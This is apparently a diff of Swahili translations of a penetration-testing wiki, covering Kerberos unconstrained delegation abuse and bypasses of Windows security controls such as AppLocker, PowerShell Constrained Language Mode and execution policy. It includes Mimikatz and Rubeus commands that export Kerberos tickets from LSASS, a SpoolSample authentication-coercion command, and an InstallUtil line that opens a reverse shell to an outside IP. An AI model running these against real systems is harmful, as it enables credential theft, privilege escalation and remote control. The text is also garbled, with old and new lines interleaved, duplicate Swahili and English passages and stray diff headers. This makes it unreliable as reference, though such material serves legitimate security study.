Hii ni kipengele ambacho Msimamizi wa Domain anaweza kuweka kwa **Kompyuta** yoyote ndani ya domain. Kisha, wakati wowote **mtumiaji anapoingia** kwenye Kompyuta, **nakala ya TGT** ya mtumiaji huyo itakuwa **inatumwa ndani ya TGS** inayotolewa na DC **na kuhifadhiwa kwenye kumbukumbu katika LSASS**. Hivyo, ikiwa una mamlaka ya Msimamizi kwenye mashine, utaweza **kudondosha tiketi na kujifanya kuwa watumiaji** kwenye mashine yoyote.
Hii ni kipengele ambacho Msimamizi wa Domain anaweza kuweka kwa **Kompyuta** yoyote ndani ya domain. Kisha, kila wakati **mtumiaji anapoingia** kwenye Kompyuta, **nakala ya TGT** ya mtumiaji huyo itakuwa **inatumwa ndani ya TGS** inayotolewa na DC **na kuhifadhiwa kwenye kumbukumbu katika LSASS**. Hivyo, ikiwa una mamlaka ya Msimamizi kwenye mashine hiyo, utaweza **kudondosha tiketi na kujifanya kuwa watumiaji** kwenye mashine yoyote.
Hivyo ikiwa msimamizi wa domain anaingia ndani ya Kompyuta yenye kipengele cha "Unconstrained Delegation" kimewashwa, na una mamlaka ya msimamizi wa ndani kwenye mashine hiyo, utaweza kudondosha tiketi na kujifanya kuwa Msimamizi wa Domain popote (domain privesc).
Unaweza **kupata vitu vya Kompyuta vyenye sifa hii** kwa kuangalia ikiwa sifa ya [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) ina [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Unaweza kufanya hivi kwa kutumia kichujio cha LDAP cha (userAccountControl:1.2.840.113556.1.4.803:=524288), ambacho powerview inafanya:
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
Unaweza **kupata vitu vya Kompyuta vyenye sifa hii** kwa kuangalia ikiwa sifa ya [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) ina [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Unaweza kufanya hivi kwa kutumia kichujio cha LDAP cha (userAccountControl:1.2.840.113556.1.4.803:=524288), ambacho ndicho powerview hufanya:
```bash
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Export tickets with Mimikatz
</strong>privilege::debug
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer Unconstrained Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
Pakia tiketi ya Msimamizi (au mtumiaji wa mwathirika) kwenye kumbukumbu kwa **Mimikatz** au **Rubeus kwa** [**Pass the Ticket**](pass-the-ticket.md)**.**\
Maelezo zaidi: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**Maelezo zaidi kuhusu Unconstrained delegation katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
```
Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Force Authentication**
Ikiwa mshambuliaji anaweza **kudhoofisha kompyuta iliyo ruhusiwa kwa "Unconstrained Delegation"**, anaweza **kudanganya** **Print server** ku **ingia kiotomatiki** dhidi yake **akihifadhi TGT** kwenye kumbukumbu ya seva.\
Kisha, mshambuliaji anaweza kufanya **shambulio la Pass the Ticket kujifanya** kuwa akaunti ya kompyuta ya Print server.
Ikiwa mshambuliaji anaweza **kudukua kompyuta iliyo ruhusiwa kwa "Unconstrained Delegation"**, anaweza **kujifanya** kwa **Print server** ili **kuingia moja kwa moja** dhidi yake **akihifadhi TGT** katika kumbukumbu ya server.\
Kisha, mshambuliaji anaweza kufanya **Pass the Ticket attack to impersonate** akaunti ya kompyuta ya mtumiaji Print server.
Ili kufanya print server iingie dhidi ya mashine yoyote unaweza kutumia [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
Ikiwa TGT inatoka kwa mwelekeo wa kikoa, unaweza kufanya a[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) na kupata hash zote kutoka kwa DC.\
Ikiwa TGT inatoka kwa kiongozi wa eneo, unaweza kufanya [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) na kupata hash zote kutoka kwa DC.\
[**Maelezo zaidi kuhusu shambulio hili katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**Hapa kuna njia nyingine za kujaribu kulazimisha uthibitisho:**
Pata hapa njia nyingine za **kulazimisha uthibitishaji:**
{{#ref}}
printers-spooler-service-abuse.md

View File

@ -4,15 +4,15 @@
## AppLocker Policy
Orodha ya programu inayoruhusiwa ni orodha ya programu za programu au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazilingani na mahitaji maalum ya biashara ya shirika.
Orodha ya programu inayoruhusiwa ni orodha ya programu za software au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazilingani na mahitaji maalum ya biashara ya shirika.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **ufumbuzi wa orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu zipi na faili ambazo watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwenye saraka fulani, **lakini hii yote inaweza kupuuziliwa mbali**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **ufumbuzi wa orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu na faili zipi watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwenye directories fulani, **lakini hii yote inaweza kupuuziliwa mbali**.
### Check
Angalia ni faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/whitelist:
```powershell
Angalia faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/mwhite list:
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -24,21 +24,21 @@ Hii njia ya rejista inaelezea mipangilio na sera zinazotumika na AppLocker, ikit
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
### Kupita
- **Mafolda yanayoweza kuandikwa** yenye manufaa ili kupita Sera ya AppLocker: Ikiwa AppLocker inaruhusu kutekeleza chochote ndani ya `C:\Windows\System32` au `C:\Windows` kuna **mafolda yanayoweza kuandikwa** unaweza kutumia ili **kupita hii**.
- **Mafolda yanayoweza kuandikwa** yanayotumika kupita Sera ya AppLocker: Ikiwa AppLocker inaruhusu kutekeleza chochote ndani ya `C:\Windows\System32` au `C:\Windows` kuna **mafolda yanayoweza kuandikwa** unaweza kutumia **kupita hii**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Binaries za kawaida **zilizoaminika** [**"LOLBAS's"**](https://lolbas-project.github.io/) zinaweza pia kuwa na manufaa kupita AppLocker.
- Binaries za **"LOLBAS's"** [**zilizoaminika**](https://lolbas-project.github.io/) zinaweza pia kuwa na manufaa kupita AppLocker.
- **Kanuni zilizoandikwa vibaya zinaweza pia kupitishwa**
- Kwa mfano, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, unaweza kuunda **folda inayoitwa `allowed`** mahali popote na itaruhusiwa.
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanasahau kuhusu **mengine** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha upimaji kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama backdoors kutasaidia kupita AppLocker**.
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** code katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanasahau kuhusu **mikoa mingine ya [**PowerShell executable**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)** kama vile `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha majaribio kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama milango ya nyuma kutasaidia kupita AppLocker**.
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Hifadhi ya Akida
@ -48,11 +48,11 @@ Akida za ndani zipo katika faili hii, nywila zimepangwa.
### Mamlaka ya Usalama wa Mitaa (LSA) - LSASS
**Akida** (zilizopangwa) zime **hifadhiwa** katika **kumbukumbu** ya mfumo huu kwa sababu za Usajili wa Moja.\
**Akida** (zilizopangwa) **zinahifadhiwa** katika **kumbukumbu** ya mfumo huu kwa sababu za Usajili wa Moja.\
**LSA** inasimamia **sera ya usalama** ya ndani (sera ya nywila, ruhusa za watumiaji...), **uthibitishaji**, **tokens za ufikiaji**...\
LSA itakuwa ndiyo itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
LSA itakuwa ile itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili ya **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
**Akida** zinahifadhiwa ndani ya **mchakato wa LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
### Siri za LSA
@ -65,15 +65,15 @@ LSA inaweza kuhifadhi kwenye diski baadhi ya akida:
### NTDS.dit
Ni hifadhidata ya Active Directory. Inapatikana tu katika Vikundi vya Kudhibiti.
Ni hifadhidata ya Active Directory. Ipo tu katika Vikundi vya Kudhibiti.
## Defender
## Mlinzi
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **azuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita hizi ulinzi**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **zuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita ulinzi huu**.
### Angalia
Ili kuangalia **hali** ya **Defender** unaweza kutekeleza cmdlet ya PS **`Get-MpComputerStatus`** (angalia thamani ya **`RealTimeProtectionEnabled`** kujua kama inafanya kazi):
Ili kuangalia **hali** ya **Mlinzi** unaweza kutekeleza cmdlet ya PS **`Get-MpComputerStatus`** (angalia thamani ya **`RealTimeProtectionEnabled`** kujua kama inafanya kazi):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,21 +103,21 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbaji unahitajika, **private key** inayolingana ya cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbuaji unahitajika, **private key** inayolingana ya cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Mifano ya Usimbaji bila kuanzishwa na mtumiaji** ni pamoja na:
**Mifano ya Usimbuaji bila kuanzishwa na mtumiaji** ni pamoja na:
- Wakati faili au folda zinahamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa moja kwa moja.
- Faili zilizofichwa zinazotumwa kupitia mtandao kupitia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
- Faili zilizosimbwa zinazotumwa kupitia mtandao kwa kutumia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
Njia hii ya usimbaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbaji.
Njia hii ya usimbaji inaruhusu **upatikanaji wa wazi** kwa faili zilizosimbwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbuaji.
**Mambo Muhimu**:
- EFS inatumia FEK ya symmetric, iliyosimbwa kwa kutumia public key ya mtumiaji.
- Usimbaji unatumia private key ya mtumiaji kupata FEK.
- Usimbaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
- Faili zilizofichwa zinapatikana kwa mmiliki bila hatua za ziada.
- Usimbuaji unatumia private key ya mtumiaji kupata FEK.
- Usimbuaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
- Faili zilizosimbwa zinapatikana kwa mmiliki bila hatua za ziada.
### Angalia taarifa za EFS
@ -130,7 +130,7 @@ Unaweza pia kutumia `cipher /e` na `cipher /d` ndani ya folda ili **kusimbua** n
#### Kuwa Mamlaka ya Mfumo
Njia hii inahitaji **mtumiaji waathirika** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
Njia hii inahitaji **mtumiaji wa kidhulumu** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
#### Kujua nenosiri la watumiaji
@ -140,19 +140,19 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyoanzishwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyowekwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
- **Usimamizi wa Nenosiri wa Moja kwa Moja**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika moja kwa moja kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
- **Usimamizi wa Nenosiri wa Moja kwa Moja**: gMSAs hutumia nenosiri tata la herufi 240 ambalo hubadilika moja kwa moja kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mkono.
- **Usalama Ulioimarishwa**: Akaunti hizi hazihusiki na kufungwa na haziwezi kutumika kwa kuingia kwa mwingiliano, kuimarisha usalama wao.
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazofanya kazi kwenye seva nyingi.
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kufanya kazi zilizopangwa.
- **Usimamizi wa SPN Ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kiongozi wa Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kuendesha kazi zilizopangwa.
- **Usimamizi wa SPN ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kitaalamu la Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa moja kwa moja kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa moja kwa moja kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni blob ya data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
Unaweza kusoma nenosiri hili kwa [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
Unaweza kusoma nenosiri hili kwa kutumia [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
@ -162,7 +162,7 @@ Pia, angalia hii [ukurasa wa wavuti](https://cube0x0.github.io/Relaying-for-gMSA
## LAPS
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, huhifadhiwa kwa kati katika Active Directory. Ufikiaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Kwa ruhusa ya kutosha, uwezo wa kusoma nenosiri za admin wa ndani unapatikana.
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, yanahifadhiwa kwa kati katika Active Directory. Ufikiaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Ikiwa ruhusa za kutosha zimetolewa, uwezo wa kusoma nenosiri za msimamizi wa ndani unapatikana.
{{#ref}}
active-directory-methodology/laps.md
@ -170,15 +170,15 @@ active-directory-methodology/laps.md
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **inafungia mbali vipengele vingi** vinavyohitajika kutumia PowerShell kwa ufanisi, kama vile kuzuia vitu vya COM, kuruhusu tu aina za .NET zilizothibitishwa, michakato ya XAML, madarasa ya PowerShell, na zaidi.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **inafungia mbali vipengele vingi** vinavyohitajika kutumia PowerShell kwa ufanisi, kama vile kuzuia vitu vya COM, kuruhusu tu aina za .NET zilizothibitishwa, mifumo ya kazi ya XAML, madarasa ya PowerShell, na zaidi.
### **Angalia**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Kupita
```powershell
```bash
#Easy bypass
Powershell -version 2
```
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita njia iliyozuiliwa. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Sera ya Utekelezaji wa PS
Kwa default imewekwa kuwa **imezuiliwa.** Njia kuu za kupita sera hii:
```powershell
Kwa kawaida imewekwa kuwa **imezuiliwa.** Njia kuu za kupita sera hii:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -223,7 +223,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
Ni API inayoweza kutumika kuthibitisha watumiaji.
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itatumika, hizi itifaki za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa njia ya DLL na mashine zote mbili lazima ziunge mkono ile ile ili kuweza kuwasiliana.
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itakayokuwa inatumika, hizi itifaki za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa njia ya DLL na mashine zote mbili lazima ziunge mkono ile ile ili kuweza kuwasiliana.
### Main SSPs
@ -238,11 +238,11 @@ SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka
- **Negotiate**: Inatumika kujadili itifaki ya kutumia (Kerberos au NTLM, Kerberos ikiwa chaguo la msingi)
- %windir%\Windows\System32\lsasrv.dll
#### Majadiliano yanaweza kutoa njia kadhaa au moja tu.
#### The negotiation could offer several methods or only one.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kuonyeshwa kwa idhini kwa shughuli zilizoimarishwa**.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kipeperushi cha idhini kwa shughuli zilizoimarishwa**.
{{#ref}}
windows-security-controls/uac-user-account-control.md

View File

@ -4,15 +4,15 @@
## AppLocker Policy
Orodha ya programu inayoruhusiwa ni orodha ya programu za programu au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazifai na mahitaji maalum ya biashara ya shirika.
Orodha ya programu inayoruhusiwa ni orodha ya programu za software au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazilingani na mahitaji maalum ya biashara ya shirika.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **ufumbuzi wa orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu zipi na faili ambazo watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwenye saraka fulani, **lakini hii yote inaweza kupuuziliwa mbali**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **suluhisho la orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu na faili zipi watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za installer za Windows, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwa baadhi ya directories, **lakini hii yote inaweza kupuuziliwa mbali**.
### Check
Angalia faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/whitelist:
```powershell
